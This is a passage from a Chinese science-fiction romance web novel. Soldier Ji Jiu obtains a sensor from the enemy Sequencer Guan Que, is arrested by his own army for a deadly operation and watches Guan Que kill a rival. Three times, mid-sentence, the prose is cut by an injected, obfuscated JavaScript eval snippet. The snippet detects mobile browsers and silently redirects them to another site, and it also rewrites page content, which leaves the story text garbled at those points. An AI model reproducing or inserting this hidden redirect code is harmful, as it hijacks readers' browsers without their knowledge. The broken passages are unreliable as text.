下山时,天色已逐渐黑沉,凉风卷起,但这丝毫不会影响到纪九的好心情。现在有了铦电在手里,不管是传感器还是关阙,对他都已不再构成威胁。机器人兴致也很高昂,一路叽叽喳喳地说个不停。 “回去后就把它移到密封注射器里,到时候我就拿着注射器抵在关阙脖子上。我说——”机器人一声厉喝,“把传感器交出来!密码告诉我!你交不交?不交我就扎——啊!!” “啊!!” 两声惨叫响起,两个原本还并排走在山坡上,现在都齐齐从地面消失。而那片看似坚硬的深色山石上,则多出了一个井口大小的圆孔。 “纪九,纪九。” “我没事,没有摔着。” 纪九待到洞内的烟尘散去,甩掉头上的石渣,仰头看向上方洞口,又打量左右。 这洞就如同一个深井,洞壁光滑笔直,足有七八米深。石面上有几道浅浅的擦痕,那是他俩下坠时,机器人一手抓住他,一手抠着洞壁减缓下坠速度造成的。 “我们怎么掉下来了?这是陷阱吗?”机器人仰着脑袋问。 纪九摇头:“不,它就是这样的山体结构,表面只有薄薄的一块石片,下面千疮百孔。像这样的天然陷阱,这片山里还有很多。我来凿些孔,让你先出去,然后给我丢条树藤什么的。” 纪九掏出匕首试了下,那洞壁坚硬如铁,刀尖无法嵌入。 “这么硬?那我们怎么出去?”机器人有些傻眼。 纪九淡定自若:“放心,总会找到办法的。” 半个小时后,洞口外的天空呈现出夜晚来临的灰黑色,凉意不断从头顶灌入,身周的山壁也如千年寒冰般散发出寒气。 “现在怎么办?”机器人问。 洞壁上已经多出了数道痕迹,像是小孩儿用树枝胡乱划过墙壁,也只刮掉了一层浅浅的粉末。 “肯定有办法的。”纪九脑袋上系着机器人的三角巾,脖子上也绕着它的那条围裙。他不断发着抖,呼出的气成了白色,“你,你不相信自己,难道,难道还不相信我吗?” “我不相信你。”机器人扭过脖子,“这么久了,我们都没有办法出去。” 最后一抹光线消失在洞口,H58迎来了又一个极度低温的夜晚。 纪九已经放弃了用匕首凿壁,只开始原地跑步,来减缓体温流失的速度。气温越来越低,空气似乎都被冻得粘稠,刺骨的寒意钻入每一处毛孔和骨缝。他的脚步越来越缓,只机械地抬起被冻得失去知觉的双脚,几次差点扑倒在地,被机器人给抵住。 “宝,几,几,几点?” “八点二十。” “才,才八,八……” “对,才过了二十分钟。” “坚,坚持住,关阙发现我们,迟,迟迟没有回去,会,会来找人的。” 机器人看看纪九,又看看洞口,再看看纪九,一脸的欲言又止。 “相,相信阿宝,他,他会来的,他要用我,对,对付我哥,得是活的。” 纪九话虽这样说,其实自己心里也没有底。 今天是他们交易结束的日子,关阙已不再需要他捕猎钢鬣兽。他还担心被关阙发现他来这里是来找铦电,那样的话,关阙会不会在恼怒之下,干脆放弃用他对付纪北宴的打算,只任由他死掉? “宝?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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机器人赶紧过来搀扶纪九:“快走快走,回去就好了,我再给你烧点热水泡澡……” 关阙转身下山,纪九用发木的手指摸了摸怀中的聚容器,在机器人的搀扶下,一瘸一拐地跟了上去。 一个小时后。 浴室的门被打开,纪九穿着一身浴袍,热气腾腾地站在门口,用毛巾擦着头发。 机器人在厨房忙碌,给纪九熬煮味道古怪的“糖水”,关阙坐在空地沙发上,翘着腿,用刻刀专心地雕刻他的石头。 纪九走回自己房间,关上门,从浴袍里取出聚容器。他坐在床边想了片刻,还是起身打开衣柜,从最底下拿出一支密闭式注射器。 他将聚容器和注射器阀门对接,按下开关,那团蓝色的光球便流入了器管内。 不到食指长的密闭式注射器摊在掌心,他垂眸看着。 今天是交易的最后一天,我必须要拿到传感器。 但是他刚救了我,我没法再对他动手。 只要他不拿我对付纪北宴,我就只用铦电威胁他,把传感器拿到手就行。 军部来人接我,我让他就藏在这里,只要别出去,就不会被人发现的。 …… 纪九思忖良久,终于做出了决定,将注射器放进浴袍衣兜,系紧有些松垮的浴袍带子,打开门走了出去。 他趿拉着拖鞋,走到沙发前,拖过旁边的椅子,反放着坐下,趴在椅背上看着关阙。 关阙还在专注地雕刻。他手里的石头已经成型,看上去像是某类小动物,生着一条蓬松长尾,绕前来挡住了半张脸,只露出细长的鼻子和狡黠的眼。 “这是什么?狐狸?”纪九歪了歪脑袋,“看上去很狡猾。” 关阙头也不抬地道:“有一点狡猾,但不多。” 纪九的目光落在关阙脸上,长久地看着他。关阙毫不在意他的注视,自若地端起桌上水杯喝了一口。 “你长得很帅,是我见过的人里长得最帅的。”纪九说完后又补充,“除了我哥。” 关阙放下水杯,继续雕刻。纪九的下巴搁在手臂上,脑袋轻轻摇晃。 “你们一定很恨我哥吧?哪怕他现在已经没有带兵征战,你们也想方设法要对付他。” “谈不上,我和他不熟。” “熟不熟的不重要,重要的是你恨他。” 关阙的目光越过石头看了纪九一眼,又道:“谈不上。” 纪九沉默两秒后,换了个话题:“对了,你恢复得怎么样了?” “还行。” 纪九笑了笑:“我已经替你杀了一个月钢鬣兽,根据我们的交易内容,你应该把传感器交给我。” 关阙没有反对,还点了下头,表示认可。 纪九看着他,右手缓缓滑向浴袍衣兜:“那我现在就想拿到。” 关阙侧头思索了半秒,接着将小狐狸和刻刀都放在桌上:“行吧,既然你想要,那现在就给你。” 说完便将手伸进军装内兜,取出一个银白色扁盒,当着纪九的面输入密码,打开,取出那枚崭新的传感器递了过来。 纪九怔住,下滑的手就搁在腰间,保持着这个动作没有动。 关阙眉头皱了皱,露出一个询问的表情。纪九回过神,伸手将传感器接了过来。 13. 第 13 章 纪九接过传感器,反复检查了好几遍,确定它是真的,也是崭新未拆封的。他有些茫然地看向关阙,关阙却已经拿起刻刀,重新在雕刻那只小狐狸。 他又愣愣坐了片刻,这才起身走向办公区,脚步迟缓,神情惊疑不定,中途转头瞧了好几眼,看关阙是不是会突然追上来。可关阙一直认真雕刻,从头至尾没有抬过头。 纪九在索要传感器之前,已设想过数种关阙会出现的反应,也做好了来一场战斗的准备。但他唯独没有想过,关阙竟然没有拒绝或是耍什么花招,而是直接将传感器给了他。 难道…… 难道这些天是我自己在胡思乱想?他真的就只是单纯地在和我做一场交易? 纪九的心情是从未有过的复杂,直到走到空地尽头才回过神。他顿住脚步,瞧着躺在掌心的传感器,喜悦从心头渐渐爬升,脸上也露出了笑容。 反正传感器已经到手,他也不再去琢磨关阙的想法,只冲着厨房一声大喊:“吴思琪。” “说。” “我拿到传感器了!” 厨房里传出东西被撞翻的声音,机器人飞快地冲出厨房门,手里还握着金属铲。它第一时间看向沙发,看见关阙还好好地坐在那里,又转头去看纪九,模样有些呆愣。 “快来,我们去联系银盟军,让他们来接我们。”纪九朝它扬了扬手里的传感器。 纪九快步走进办公区那间屋子,将传感器嵌入卡槽,转头对站在身后的机器人道:“宝,通讯器就由你来启动。” “我,我来启动吗?”机器人有些忐忑,屏幕上的眼睛却闪闪发亮。 纪九笑着将它拉到身旁,拿起它的机械手,将它的食指放上了启动键:“547,你就是最厉害的机器人,请接受这份荣誉。” 机器人有些紧张,又有些激动地按下手指,通讯器上方的那排绿灯便唰地亮了起来。纪九在一旁调频,接通线路,片刻后,耳机里传出一道女声:“银辉星耀炽城银盟军军部接线员014号,请讲。” “耶!”机器人兴奋低吼,纪九也无声地握了下拳。 纪九深深吸了口气,强压着激动,让自己的声音听上去更正常:“银盟军第四军上校纪南瑾,士兵编号2545334,请求转接军部。” “请稍等。” 耳机里传出等待的音乐声,纪九的呼吸微微急促,手心也已浸出了汗。 半分钟后,一道男声在耳机里响起:“纪南瑾。” 纪九听出这是第四军大校陈轩然的声音,立即回道:“陈大校,我是纪南瑾。” “你在哪儿?” “我在H58。” “H58?” 纪九解释:“是一颗位于尘埃星系的废弃矿星,空域坐标为-34,2345,-467。我的飞行器被卷进了流浪行星的引力场,迫降在了H58,现在飞行器已经损毁,我没法回去,请求军部接应。” 像是信号不好,通话有着几秒中断,陈轩然的声音才继续响起:“你提供的信息已记录,军部这就派遣飞行器前去接你。” “是。” 中断通话前,纪九抓紧时间问:“陈大校,和我一起执行任务的那些士兵们没事吧?” “他们都已经安全返回。” 纪九松了口气,又问:“陈哥,我能和我哥说上两句吗?” 陈轩然和纪北宴有着多年交情,纪九在加入军队前便认识他,所以现在改称他为陈哥,就是想从私人关系上提出这个请求。 “纪九,机要处的每通通讯都会被记录,任何人都不允许用这个频道进行私人通讯。”陈轩然听上去有些为难。 “好的。那您能把我的情况转告给他吗?让他不要担心。” “可以。” “谢谢。” 通话中断,纪九举起手,和机器人击了个掌,再将它搂进怀里,使劲揉它的脑袋。 “降魔十八式洗髓揉!” 机器人抬手捣向他腋下:“伏虎十三掌碎石掏。” 两个嘻嘻哈哈,兴奋打闹了好一阵才离开设备间。纪九走出房门,看见关阙还坐在原处,想了想,便打发走机器人,自己踱了过去,重新在沙发前的椅子上坐下。 关阙的雕刻工作已近尾声,在用砂纸打磨那只小狐狸。纪九靠在椅背上,浴袍下的两条长腿伸直,脚跟抵着地面翘起,拖鞋险险地挂在脚趾上。 “我已经和银盟军联系上了,他们派出了飞行器来接我,明天早上应该就会抵达H58。”纪九道。 关阙点了下头:“恭喜。” 纪九又道:“等他们来的时候,你就呆在你房间里别出去,等我们离开后,再联系塔柯军来接你。” 关阙这次没有出声,却抬起头,沉默地注视着纪九。他目光犹如两泓漆黑深潭,所有的情绪都被隐藏在潭底,让人看不出他此刻内心在想些什么。 纪九正要继续往下说,刚开口,便见关阙突然朝他伸出了手。他心头一紧,条件反射地身体紧绷,同时将右手伸向了浴袍衣兜。 但关阙却只拉住他的浴袍两襟,如同上次在浴室里那般,将他微敞的浴袍合拢,再扯开那松松垮垮的系带结,重新系紧。 关阙做完这一切,朝他点点头,接着站起身走向了宿舍。纪九转头看着他的背影,看见他突然抬手,将什么东西抛了过来。 纪九伸手接住,拿到眼前,看见躺在掌心的是那只刚雕成的小狐狸。形态惟妙惟肖,一条蓬松的大尾巴半遮面,露出一双狡黠的眼。 纪九看着小狐狸,用大拇指轻轻摩挲了下,感受到温润光滑的触感。他又抬起头,却见关阙已经进入他自己的房间,房门砰一声合拢。 第二天,早上八点,纪九打开了宿舍门。 他没有如平常那般穿着家居服,而是换上了自己那套银盟军作战服。裤腿掖进短靴,上衣胸膛处的破洞已经补上,洗得干干净净,看上去既帅气又精神。 机器人在忙碌地收拾行李,没有找着皮箱,就摊开一张床单扎成包裹,将纪九穿过的浴袍和使用过的毛巾等等全带上。最后在屋内转了一圈,拿起那两个空密码盒和小狐狸,分别塞进了纪九的左右裤兜。 纪九站在过道上,见关阙那间房房门紧闭,犹豫着要不要去道个别。但他还未拿定主意,那房门已被打开,关阙步出了房间。 关阙也穿上了他那套黑色风衣式军装制服,显得肩宽腰窄,身姿挺拔。他很自然地走向纪九,站定在他身前,没有什么表情地看着他。 纪九抿了抿有些发干的唇,朝他伸出右手:“再见了。” 关阙的目光落在面前那只手上,也抬起手和他相握。 力道很轻,一触即分。 纪九收回手,却隔着军装布料,轻轻捏着上衣衣兜里的注射器。 “如果有那么一天,我们还会在战场上遇见,那时我不会手下留情。”他语气认真地对关阙道。 他觉得关阙似乎笑了下,但那笑容很浅,在脸上一闪而逝,让纪九怀疑那只是自己的一种错觉。 “再见。”关阙道。 纪九转身,头也不回地走向通道口,机器人挎着一个大包袱,拿着金属铲跟在后面。纪九打开通道门,耀眼的恒星光照洒落进来,他眯了眯眼,又转过头,看见关阙已经坐在空地边缘的沙发上。 这是在替他驱赶门外的那些钢鬣兽。 纪九说不出心里是什么感受,垂下的眼睫轻轻颤了颤,接着转身,带着机器人钻出了通道口。 纪九反身关上通道口大门,和机器人就站在门旁,抬头看着天空。钢鬣兽群如往常般远远地围成一圈,只冲着他们嘶吼。 今天的天气不错,天空澄澈到透明。两个盯着天空看了半晌,机器人有些不安地道:“从银辉星到H58,需要穿行三个星域,经过四个跃迁点。算算时间,他们现在应该到了,可为什么还没来?是遇到了电磁风暴干扰?撞上了陨石?曲率引擎损毁?” 纪九安慰道:“耐心一点,路上耽搁点时间很正常。”他抬手挡着额头,眼睛被光线刺得微微眯起,“吴思琪。” “说。” “我们在这里遇到关阙的事,你不要给任何人讲。”他顿了顿后又道:“包括纪北宴。” “噫……”机器人拖长了声音,“你怕别人来找他麻烦? “我是怕别人来找我的麻烦。”纪九叹了口气,“要是被军部知道我和一名序列者在这里呆了一个月,肯定会对我进行调查,还有无数次的审讯。而且还会牵扯到纪北宴,给他也带去无穷无尽的麻烦。” 机器人沉默了两秒:“我的核心使命是忠于银盟军,绝对服从银盟军的命令。” “你的核心使命是忠于纪南瑾,绝对服从纪南瑾的命令。”纪九道。 两个正斗着嘴,高空便出现了一个针尖大的小点,在光线的照耀下闪着银芒。纪九连忙叫停,机器人也激动地道:“A374Ⅱ型飞行器!银盟军的飞行器!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14187195|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那架飞行器减缓了速度,但依旧很快。不过短短几秒,天空里已显出它的全貌,庞大的机身上,银盟军标志清晰可见。 那是一个银色的六芒星,两个交叉的三角形,分别代表银辉星主星和晨曦星副星。 飞行器在这片荒原上掀起巨大的风浪,纪九躲在一块大石后,拉住被吹得东倒西歪的机器人。钢鬣兽群开始骚动,一边抵御着风浪冲击,一边冲着上空愤怒地嚎叫。 飞行器在荒原上平稳着陆,风浪停止,钢鬣兽群纷纷扑了上去。但飞行器腹下显出两排炮膛,数颗炮弹呼啸飞出,钢鬣兽群在巨大的轰响声中被连接炸飞。 纪九趴在大石后,有些怀疑炮弹会不会把地下工业区震塌。但这类地下建筑都修建得非常坚实,想来应该没有什么问题。 如果真炸垮了,他也没有办法,总不能给银盟军说等等,我去地下救个序列者。不过关阙肯定死不了——就算死了也能再复活——他自己在地下死来活去的,总能挖个洞再钻出来。 纪九正胡思乱想着,密集的炮弹声逐渐停止。待到烟尘散去,他看见地上多了数个弹坑,钢鬣兽尸躺了满地,而那些还活着的也被炸弹给吓住,飞快地逃之夭夭。 飞行器舱门打开,十几名全副武装的银盟军士兵抓住绳降滑向地面。纪九从大石后站起身,抖掉头脸上的泥块尘土,大步迎向他们,机器人也挎着包袱跟了上去。 “举起手!不要动!立即报出你的身份!”银盟军士兵刚着地便朝纪九冲来,端起的枪对准了他。 纪九微笑着停步,两手举在头侧,神情轻松地回道:“我是银盟军第四军上校纪南瑾,士兵编号2545334。” “我是银盟军第四军上校纪南瑾的战斗配合机器人,编号547。”机器人也举起手。 纪九已经报出身份,但士兵们依旧如临大敌,枪口也依旧对准了他。其中几人还以左右线路绕到他身后,迅速将他包围。 这阵势分明不是前来接人的,纪九察觉到了不对劲。他脸上的笑容敛起,警惕地问:“你们是谁?”同时放下举在头侧的手,摸向了腰后匕首。 “不许动!” 随着那小队长模样的人一声厉喝,四名士兵扑了上来。 纪九左臂肘击,左边那名士兵发出一声闷哼,右脚踢出,将扑来的人给踹飞。他正要挥拳对付剩下两人,突然脚腕一紧,被套索枪射出的绳索给捆住。 纪九脚步不稳,身形踉跄,几名士兵抓紧机会扑了上来。纪九被他们扑倒在地,也拔出了自己的匕首,立即曲身去割脚腕上的绳索。 绳索扑一声断开,他一个侧翻便要起身,但几把枪同时抵住了他的脑袋:“别动!否则立即开枪!” 纪九喘着气没有再动,手上的匕首被夺走,两只手被人抓住,反背在了身后。 “呀!!!”机器人照着一名士兵挥舞金属铲,那士兵连连后退,另外一名士兵拿出了一把激光脉冲棒。 纪九见状,立即喊道:“吴思琪,别动——” 滋…… 激光脉冲棒发出一道黄光,在机器人身体上形成了流动的光环。机器人顿时停下攻击,如同断电般屏幕黑屏,保持着高举金属铲的姿势一动不动。 “你们是什么人?想要做什么?”纪九被按在地上,侧脸贴着粗粝地面,大声喝道:“我是银盟军上校军官,如果你们企图绑架或是伤害军人,会受到极其严厉的惩处。” 他嘴里进行威慑,同时猜测着这群人的身份。 反银盟军黑鹫组织? 那组织只是散兵游勇,也许能弄到银盟军的作战服和装备,但A374Ⅱ型飞行器,他们永远也别想搞到手。 塔柯人假扮的? 这个可能性最大。 纪九在心里确定了对方身份,便停下声音,同时做好了反抗突围的准备。他看向右侧按住他手臂的人,准备找机会夺这人腰间的枪。 但纪九还没动作,面前便出现了一张展开的硬签。他在看清那张硬签后,慢慢瞪大了眼睛,满脸都是不敢置信。 那是一张银盟军拘捕令,盖有军部执行章和银盟军的动态徽印,小队长的厉喝同时在他头顶响起。 “嫌疑人纪南瑾,你涉嫌在九月二十日的旋五行星赤牙城行动中有严重违反军纪行为,直接或间接造成二百三十名银盟军士兵身亡。银盟军特别行动小组受命,现将你押回军法部等候审讯。嫌疑人在押送期间若有任何反抗行为,行动小组可以将你就地处决。” 14.第 14 章 纪九见到那张拘捕令,顿时失去了任何反应,只任由人将他拖起身,反扣住双臂推向飞行器。他机械地迈步,脑中一片混乱,只反复回荡着刚才听到的话语。 ……嫌疑人纪南瑾,你涉嫌在九月二十日的赤牙城行动中有严重违反军纪行为,直接或间接造成二百三十名银盟军士兵身亡……嫌疑人纪南瑾……二百三十名银盟军士兵身亡…… 启动中的飞行器发出隆隆声响,纪九直到被推到舱门下方,有人拿着降绳往他腰上挂才回过神。 “你们在放什么屁?我的士兵都活着!”纪九赤红着双眼,开始用力挣扎,“放开我!我要和军部联系,让我和我的士兵通话!” “第一次警告!纪南瑾,你先上飞行器,有什么话等到了晨曦星军法部再说!”押着纪九的一名特别行动组成员厉声喝道。 晨曦星军法部? 纪九愣了一瞬。 银盟军在银辉星和晨曦星分别都设有军法部,两者听上去相同,实则可谓天差地别。军队里若有人打架斗殴,或是抢劫偷盗,哪怕是致人死亡,也只会送去银辉星军法部。而只有危害到银辉双星的稳定,比如煽动分裂,叛乱暴乱,或者其他重大恶性事件的重刑犯,才会送去晨曦星军法部。 纪九没想到自己会被送去晨曦星军法部,他既愤怒又迷茫,只奋力挣扎,喊着要和军部联系,哪怕被枪抵着头也不管不顾。 “第二次警告……把绳子给他套上,直接拉上去……套不上吗?麻醉枪给我……” 纪九被几个人强行摁在地上,小队长接过麻醉枪,对准了他的后颈。 “队长,快看天上!”一名行动队队员突然出声。 除了趴在地上喘气的纪九,其他人下意识抬头,接着齐齐变了脸色。 他们的注意力全在纪九身上,竟然没有察觉到天上出现了一艘飞行器。 那艘飞行器已到达荒地上方,深黑机身反射出冰冷的光芒,像是一只俯冲向下的夜枭。 “黑鸦战舰!”队长一声暴喝,“暗影军团的序列者来了,快,快回飞行器。” 黑色飞行器转瞬已至头顶,在地面卷起巨大的风浪。行动组所有人都按下手臂上的按键,身体上立即覆盖了一层半透明保护光罩。 两名队员抓住滑降绳升向舱门,但才升至一半,塔柯飞行器腹下便喷出了一枚炮弹。那两人被炮弹击中,保护光罩瞬间破碎,惨叫着从绳子上摔落坠地。 “别上去了,先躲起来!”队长下令,“用对空迫击炮阻止对方着陆!” “队长,我们没想到暗影军团会来,对空迫击炮没有带下星舰。” 队员们立即钻入飞行器腹下,端起枪朝着上空开火。队长抓住纪九的胳膊,将他也推到了飞行器下方。 黑鸦战舰在飞纵的子弹里平稳降落,行动队员们只得从飞行器腹下冲出,各自寻找掩体,准备进行地面战。 纪九双手还反铐在身后,也踉跄着被队长拖到了一块大石后面。 黑鸦战舰的舱门打开,一群塔柯军士兵滑降而出,人数足足是这边两倍。纪九刚抬起头,面前大石上便飞溅起一排弹孔,赶紧又埋下了身体。 密集子弹在头顶呼啸而过,纪九看见不远处一名行动组队员身中数枪,保护光罩被击得粉碎,人也扑倒在地,身体下有鲜血缓缓淌出。 “给我解开手铐!快点,给我解开手铐!”纪九朝着身旁的队长大喝。 队长一边开枪一边回道:“不行!你是重犯!” 纪九见那群塔柯士兵在朝着这边推进,不由心急如焚:“他们人太多了,我是银盟军军人,让我也加入战斗!” “你现在的身份是重犯,给我老老实实呆着,不然我可以就地处决你。”队长喝道。 右前方又一名队员被击杀,尸体扑倒在身前大石上。纪九见状,也不再和队长废话,只蜷起身体,将反着的胳膊从身下穿过。 这样虽然两只手还铐在一起,但终于是铐在了身前。 他一个翻滚,扑出,人便到了那处大石背后。再推开尸体,用肩膀托起架在石头上的枪,双手一起扣动扳机,两名正冲过来的塔柯军便中弹倒地。 “你放下枪!”右边一名行动组队员发现了纪九,冲着他大喊。 “放你大爷。”纪九怒吼,“傻X。” 双方交战激烈,队员们身上的保护光罩纷纷碎裂,不再具备防御功能。纪九击杀了一名塔柯士兵,刚移动枪口,却看见塔柯军飞行器的舱门口站着一个人。 那是一名身材高瘦的男人,穿着黑色风衣式军官制服和衬衫,系着灰色领带,鼻梁上架着一副墨镜。 他站在舱门口,似是对这边的战斗不感兴趣,只姿态悠闲地打量着这片荒地。 纪九朝着前方扣动扳机,余光瞥着那男人,心里却一阵发紧。 ——这熟悉的制式军装和派头,这人应该和关阙一样,也是一名高阶序列者。 纪九刚冒出这个想法,就见那男人朝着这边看了过来。接着他脑子嗡一声,像是有什么东西突然钻入,毒蛇一般在他脑内肆意游走,带出一阵阵剧痛。 纪九痛得往前扑倒,手指也离开了扳机。他听见身旁传来几声惨叫,艰难地转过头,看见那些行动组队员都倒在地上,口鼻渗出了鲜血。 纪九脑袋如被重锤敲击,小腹也有异感。他虽然极其痛苦,却不知怎的竟然也能勉强撑住,并不像其他队员那样被重创倒地。 高瘦男人轻松跃下地,朝着纪九这边走来,塔柯士兵端着枪跟在他身后。 纪九来不及去查看那些队员的情况,只忍住剧痛,颤着手重新去扣扳机。 他喘着气,将眼睛凑近瞄准器,却从瞄准器那拉近放大的视野里,看见左边一块地面正在移动。 那是地下生活区的通道门。 纪九盯着那处,看见通道门一点点被推开,显出下方的通道。紧接着一颗炮弹冲出,拖着长长的白烟,径直飞向了那群塔柯兵。 轰! 一团火焰在地面上炸开,残肢和泥土飞上天空。剧烈的震荡还未平息,又一枚炮弹飞出通道,紧跟而至。 随着连续的两次爆炸,那在纪九脑中横冲直撞的“毒蛇”突然抽离,剧痛也瞬间消失。 他趴在石后抬起头,甩掉头脸上的石块泥渣,看见那浓浓烟尘里,有着两道正在对战的人影。 两人身体外都罩着一层半透明膜,却和士兵们那种装备保护罩不同,表面上有柔和的光晕在流动。纪九知道,那是序列者用精神力布下的防护罩。 浓尘里的两道身影都迅如鬼魅,拳脚带出破空之声。虽然他们身影模糊,也都是相同的风衣装束,但纪九一眼便认出,其中一人正是关阙。 纪九不知道同为序列者的两人为什么就打了起来,心里全是茫然。 烟尘散去,缠斗中的两道身影变得清晰。高瘦男人挥动匕首,关阙抬手格挡,当啷一声,发出金属碰撞的声响。 纪九眼尖地发现,关阙握在手里的武器,是他平常用来剖钢鬣兽头颅的金属片。 关阙和高瘦男人迅速交换着拳脚,都沉默地一言不发。精神力防护罩不断被击得粉碎,又重新布上,接着再次被击碎,基本上没什么用。 纪九想朝高瘦男人开枪,但那两人离得太近,身形移动也太快,忽左忽右,忽前忽后,他根本没法瞄准。而剩下那些没被炮弹击中的塔柯士兵也回过神,如他一般想开枪,但也同样对不准目标。 一名塔柯士兵绕到关阙身后,掏出匕首,慢慢接近。 现在没人注意趴在石头后的纪九,他便将枪口对准那名士兵,手指扣下扳机。 咔嚓。 枪支发出空膛声,已经没有了子弹。 纪九见关阙失去了精神力防护罩,正要着急地出声提醒,却见关阙在这时突然后闪。 下一秒,那名士兵便慢慢向后仰倒,脖子上一道鲜红的痕,正汩汩涌出鲜血。 关阙又冲回原地,一脚踢向高瘦男人。那人飞速躲开,这一脚便踢上旁边大石,那石面上立即出现了几道裂痕。 纪九原本以为关阙连钢鬣兽都杀不了,没想到他已经恢复成这样,不由暗暗心惊后怕,觉得幸好在走之前没有和他打上一场。 他见那两人还在缠斗,一时分不出胜负,便猫腰冲到最近的一名队员旁边,伸手搭上他的颈侧。 那名队员已生息全无,他又去逐个检查剩下的人,却没找到任何幸存者,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14187841|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个行动组队员已经全部死亡。 纪九蹲在那名队长身侧,摸出他衣兜里的解锁器,按下开关,手铐应声掉落。 他再回头时,却看见那些刚还好好站着的塔柯士兵,已经全都躺倒在地,身体抽搐,从口鼻里渗出鲜血。 纪九略一愣怔,随即反应过来,这些人应该都受到了关阙的精神攻击。 关阙还在和高瘦男人对战,两人不光拳脚相加,也用上了精神力。纪九虽然位于战圈外,却难免受到一些波及,只觉胸口闷胀,脑袋昏痛,不过相比之前遭受高瘦男人的直接攻击要好太多。 关阙的旧伤应该还未完全恢复,当他大量使用精神力后,便渐渐现出了劣势。他出招开始变得缓慢,闪躲得也有些吃力,而高瘦男人的攻势却越来越快,突然便一拳击中了他的胸口。 精神力防护罩应声碎裂,关阙整个人向后飞出,撞上了七八米远处的一块大石。他撑着地面要起身,试了两次没有成功,扑地吐出了一口鲜血。 纪九心里很清楚,他根本无法对抗那名高阶序列者,只能依靠关阙。如果关阙完了,那他也就完了。 眼见关阙重伤,他弓起身绕到石头外,想去捡那把队长掉在地上的枪。 高瘦男人朝着关阙走去,边走边摘下墨镜,露出了一双狭长阴狠的眼。 “关阙,又见面了。”高瘦男人开口,声音嘶哑难闻,脸上露出了笑容,如同在欣赏好戏一般,“我一直在想,你会躲去哪儿?哦,原来是像只老鼠般躲在荒星。不过这H58的确是个好地方,有钢鬣兽晶核疗伤,可以让你再苟延残喘一段时间。” 关阙脸色苍白如纸,嘴角溢出的鲜血滴落进泥土。他趴在地上,伸手去捡自己掉在一旁的金属片,但还没够着,手指便被一只穿着皮鞋的手给踩住。 高瘦男人的鞋底在关阙手指上缓缓碾磨,那双阴鸷的眼里闪着兴奋的光:“关阙,别挣扎了,你已经没有路了。现在把光明之眼交给我,乖乖跟着我回暗部,我还可以在大长老面前替你说两句,让你在死之前少受点罪。” 关阙没有应声,只痛苦地喘着气,另一只手紧紧按在左胸内兜处。高瘦男人的目光落在那里,便蹲下身,不顾关阙的阻挡,强行从他内兜里拿出了那枚菱形碎片,欣喜若狂地举在眼前。 “阿攀,你抓到我,拿走光明之眼,在大长老,大长老那里立下了大功。我肯定活不成了,那你,那你告诉我,车西朝究竟,究竟去了哪儿?他是我唯一的亲人,我只想知道,他过得好不好……”关阙说完这句,又吐出了一口鲜血。 “车西朝那个情报贩子居然是你亲人?”阿攀只目不转睛地看着碎片,嘴里道,“行吧,看在光明之眼和共事一场的份上,我就告诉你。那个车西朝逃去了银辉星耀炽城,据说混得还不错,你可以死得安心了。” 纪九此时已拿到了枪,端起朝着高瘦男人瞄准。 他正要扣下扳机,却又突然顿住,满脸惊讶地看着瞄准器。 透过瞄准器,他看见关阙瞬间敛起了痛苦表情,目光变得冰冷。接着迅速趋身,在高瘦男人还未反应过来之前,便将什么东西扎入了他的颈部。 高瘦男人似想挥拳,却又停住,只伸手去摸自己脖子,从那里拔出一支指头粗细的注射器。 他不敢置信地盯着空针管,又慢慢看向关阙,接着身体开始抽搐,喉咙里发出嘶嘶声音。 关阙站起身,退后两步,居高临下地看着男人。他神情淡漠而冷静,飞扬的风衣下摆猎猎作响,哪里还有半分刚才那种垂死模样。 男人的身体如同被戳了孔的球,迅速干瘪,血肉消散,衣物掉落地上。 他成为了一具扑在地上的骨架,骨身上陆续出现蜂窝状孔洞,骨色由白到灰,再到黑,如同一具烧烬的木炭。 一阵风吹来,疏松脆化的黑骨化为黑灰,被卷着飘向了远处,地面上只留下一堆衣物。 纪九愣愣地端着枪,半天都回不过神。直到看见关阙转过身,这才大梦初醒般,伸手从自己衣兜里掏出那支注射器,拔掉了尾端的密封口。 他竖起注射器往管子里看,只见管身空空,管壁干净,里面什么都没有。 这是一支从未使用过的,崭新的注射器。 15.第 15 章 没有了成群的钢鬣兽,这片荒原是从未有过的安静。但地面上遍布弹坑,四处躺着尸体,比以往任何时刻都要瘆人。 纪九握紧那支空针管,看向了关阙。 关阙正从脚边捡起那块名为光明之眼的菱形碎片,掏出一条手帕擦干净,再放回衬衣衣兜。 他没有去看站在不远处的纪九,收好光明之眼后,便抬头看了眼天空,再大步走向前方。 纪九也跟着抬头,接着神情大变。只见天空极高处出现了两个小点,正在迅速接近地面。虽然看不清飞行器外形,但不管是银盟军还是塔柯军,都是他现在不想遇见的。 纪九立即扔掉注射器冲向了右边。机器人还立在空地上高举着铲,他冲到机器人面前,脚在尘土里刹出两道长痕,动作麻利地拔掉那铲,再将它一把扛在肩上。 纪九转身冲向银盟军飞行器,却发现关阙就在前方。他心头闪过一抹诧异,毕竟这荒原上已有两架飞行器,想不到他身为塔柯军,竟然选择了属于银盟军的那一架。 但这念头只在心里过了一瞬,便被他抛在脑后。天空上的飞行器已清晰可辨,灰色机身,鱼雷似的外形,来的虽然不是暗影军团,却也是塔柯军舰。 